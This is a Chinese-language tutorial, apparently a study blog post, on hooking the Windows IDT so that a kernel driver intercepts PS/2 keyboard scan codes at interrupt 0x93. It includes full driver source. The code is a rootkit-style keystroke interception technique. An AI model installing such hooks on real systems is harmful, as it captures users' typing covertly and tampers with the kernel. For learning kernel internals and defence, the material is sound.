IDT HOOK思路整理
IDT(中断描述符表)分为IRQ(真正的硬件中断)和软件中断(又叫异常)。
HOOK的思路为,替换键盘中断处理的函数地址为自己的函数地址。这样在键盘驱动和过滤驱动之前就可以截获键盘输入。
思路确定之后,可以写代码了
首先获取到IDT,这个需要使用汇编指令sidt来获取,这个指令读取了IDTR寄存器的内容,返回结构的格式为:
typedef struct P2C_IDTR_ { P2C_U16 limit; // 范围 P2C_U32 base; // 基地址(就是开始地址) } P2C_IDTR, *PP2C_IDTR;
获取的方法为:
void *p2cGetIdt() { P2C_IDTR idtr; // 一句汇编读取到IDT的位置。 _asm sidt idtr return (void *)idtr.base; }
注:IDT中断描述符表中最多有256个中断或异常向量
在保护模式下,中断描述符表的表项由8个字节组成,结构如下
typedef struct P2C_IDT_ENTRY_ { P2C_U16 offset_low; P2C_U16 selector; P2C_U8 reserved; P2C_U8 type:4; P2C_U8 always0:1; P2C_U8 dpl:2; P2C_U8 present:1; P2C_U16 offset_high; } P2C_IDTENTRY, *PP2C_IDTENTRY;
上述结构中offset_low和offset_high构成一个32位的虚拟地址,代表中断处理跳转地址,windows下PS/2键盘的中断号一般是0x93,而中断号代表了某项在中断表中的索引,我们的目标是将该处地址替换成我们的函数地址,达到HOOK的目的。操作如下
PP2C_IDTENTRY idt_item=(PP2C_IDTENTRY)p2cGetIdt(); //将指针指向PS/2中断项 idt_item += nIndex;
定义一个裸函数
__declspec(naked) p2cInterruptProc() { __asm { pushad // 保存所有的通用寄存器 pushfd // 保存标志寄存器 call p2cUserFilter // 调一个我们自己的函数。 这个函数将实现 // 一些我们自己的功能 popfd // 恢复标志寄存器 popad // 恢复通用寄存器 jmp g_old_addr // 跳到原来的中断服务程序 } }
该函数的作用只是跳到自定义的函数,执行完之后,跳回之前的地址继续执行。
准备工作完成之后,就可以进行HOOK了
VOID HOOK_IDT(ULONG nIndex,BOOLEAN b) { PP2C_IDTENTRY idt_item=(PP2C_IDTENTRY)p2cGetIdt(); //将指针指向PS/2中断项 idt_item += nIndex; if(b) { //保存原来的地址 g_old_addr = (void *)P2C_MAKELONG(idt_item->offset_low,idt_item->offset_high); //替换成自己的函数 idt_item->offset_low = P2C_LOW16_OF_32(p2cInterruptProc); idt_item->offset_high = P2C_HIGH16_OF_32(p2cInterruptProc); DbgPrint("源地址为%x 替换后的地址%x\n",g_old_addr,p2cInterruptProc); } else { idt_item->offset_low = P2C_LOW16_OF_32(g_old_addr); idt_item->offset_high = P2C_HIGH16_OF_32(g_old_addr); DbgPrint("替换为原来的地址"); } }
nIndex=0x93
完整代码如下:
1 #include <ntddk.h> 2 3 // 这一句存在,则本程序编译为替换INT0x93的做法。如果 4 // 不存在,则为IOAPIC重定位做法。 5 // #define BUILD_FOR_IDT_HOOK 6 7 // 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明 8 // 确知道多少位长度的变量,以避免不同环境下编译的麻烦. 9 typedef unsigned char P2C_U8; 10 typedef unsigned short P2C_U16; 11 typedef unsigned long P2C_U32; 12 13 #define P2C_MAKELONG(low, high) \ 14 ((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16)) 15 16 #define P2C_LOW16_OF_32(data) \ 17 ((P2C_U16)(((P2C_U32)data) & 0xffff)) 18 19 #define P2C_HIGH16_OF_32(data) \ 20 ((P2C_U16)(((P2C_U32)data) >> 16)) 21 22 // 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址 23 #pragma pack(push,1) 24 typedef struct P2C_IDTR_ { 25 P2C_U16 limit; // 范围 26 P2C_U32 base; // 基地址(就是开始地址) 27 } P2C_IDTR, *PP2C_IDTR; 28 #pragma pack(pop) 29 30 // 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。 31 void *p2cGetIdt() 32 { 33 P2C_IDTR idtr; 34 // 一句汇编读取到IDT的位置。 35 _asm sidt idtr 36 return (void *)idtr.base; 37 } 38 39 #pragma pack(push,1) 40 typedef struct P2C_IDT_ENTRY_ { 41 P2C_U16 offset_low; 42 P2C_U16 selector; 43 P2C_U8 reserved; 44 P2C_U8 type:4; 45 P2C_U8 always0:1; 46 P2C_U8 dpl:2; 47 P2C_U8 present:1; 48 P2C_U16 offset_high; 49 } P2C_IDTENTRY, *PP2C_IDTENTRY; 50 #pragma pack(pop) 51 52 53 VOID *g_old_addr=NULL; 54 // 首先读端口获得按键扫描码打印出来。然后将这个扫 55 // 描码写回端口,以便别的应用程序能正确接收到按键。 56 // 如果不想让别的程序截获按键,可以写回一个任意的 57 // 数据。 58 #define OBUFFER_FULL 0x02 59 #define IBUFFER_FULL 0x01 60 61 ULONG p2cWaitForKbRead() 62 { 63 int i = 100; 64 P2C_U8 mychar; 65 do 66 { 67 _asm in al,0x64 68 _asm mov mychar,al 69 KeStallExecutionProcessor(50); 70 if(!(mychar & OBUFFER_FULL)) break; 71 } while (i--); 72 if(i) return TRUE; 73 return FALSE; 74 } 75 76 ULONG p2cWaitForKbWrite() 77 { 78 int i = 100; 79 P2C_U8 mychar; 80 do 81 { 82 _asm in al,0x64 83 _asm mov mychar,al 84 KeStallExecutionProcessor(50); 85 if(!(mychar & IBUFFER_FULL)) break; 86 } while (i--); 87 if(i) return TRUE; 88 return FALSE; 89 } 90 91 void p2cUserFilter() 92 { 93 94 static P2C_U8 sch_pre = 0; 95 P2C_U8 sch; 96 DbgPrint("p2cUserFilter\n"); 97 p2cWaitForKbRead(); 98 _asm in al,0x60 99 _asm mov sch,al 100 KdPrint(("p2c: scan code = %2x\r\n",sch)); 101 // 把数据写回端口,以便让别的程序可以正确读取。 102 if(sch_pre != sch) 103 { 104 sch_pre = sch; 105 _asm mov al,0xd2 106 _asm out 0x64,al 107 p2cWaitForKbWrite(); 108 _asm mov al,sch 109 _asm out 0x60,al 110 } 111 } 112 113 __declspec(naked) p2cInterruptProc() 114 { 115 __asm 116 { 117 pushad // 保存所有的通用寄存器 118 pushfd // 保存标志寄存器 119 call p2cUserFilter // 调一个我们自己的函数。 这个函数将实现 120 // 一些我们自己的功能 121 popfd // 恢复标志寄存器 122 popad // 恢复通用寄存器 123 jmp g_old_addr // 跳到原来的中断服务程序 124 } 125 } 126 127 VOID HOOK_IDT(ULONG nIndex,BOOLEAN b) 128 { 129 PP2C_IDTENTRY idt_item=(PP2C_IDTENTRY)p2cGetIdt(); 130 //将指针指向PS/2中断项 131 132 idt_item += nIndex; 133 134 if(b) 135 { 136 //保存原来的地址 137 g_old_addr = (void *)P2C_MAKELONG(idt_item->offset_low,idt_item->offset_high); 138 //替换成自己的函数 139 idt_item->offset_low = P2C_LOW16_OF_32(p2cInterruptProc); 140 idt_item->offset_high = P2C_HIGH16_OF_32(p2cInterruptProc); 141 DbgPrint("源地址为%x 替换后的地址%x\n",g_old_addr,p2cInterruptProc); 142 143 } 144 else 145 { 146 idt_item->offset_low = P2C_LOW16_OF_32(g_old_addr); 147 idt_item->offset_high = P2C_HIGH16_OF_32(g_old_addr); 148 DbgPrint("替换为原来的地址"); 149 } 150 } 151 #define DELAY_ONE_MICROSECOND (-10) 152 #define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000) 153 #define DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000) 154 //驱动卸载函数 155 VOID IDT_Unload(IN PDRIVER_OBJECT DriverObject) 156 { 157 LARGE_INTEGER interval; 158 HOOK_IDT(0x93,FALSE); 159 KdPrint (("p2c: unloading\n")); 160 // 睡眠5秒。等待所有irp处理结束 161 interval.QuadPart = (5*1000 * DELAY_ONE_MILLISECOND); 162 KeDelayExecutionThread(KernelMode,FALSE,&interval); 163 } 164 //驱动程序入口 165 NTSTATUS DriverEntry( 166 IN PDRIVER_OBJECT DriverObject, 167 IN PUNICODE_STRING RegistryPath 168 ) 169 { 170 171 172 // 卸载函数。 173 174 175 HOOK_IDT(0x93,TRUE); 176 DriverObject->DriverUnload = IDT_Unload; 177 return STATUS_SUCCESS; 178 }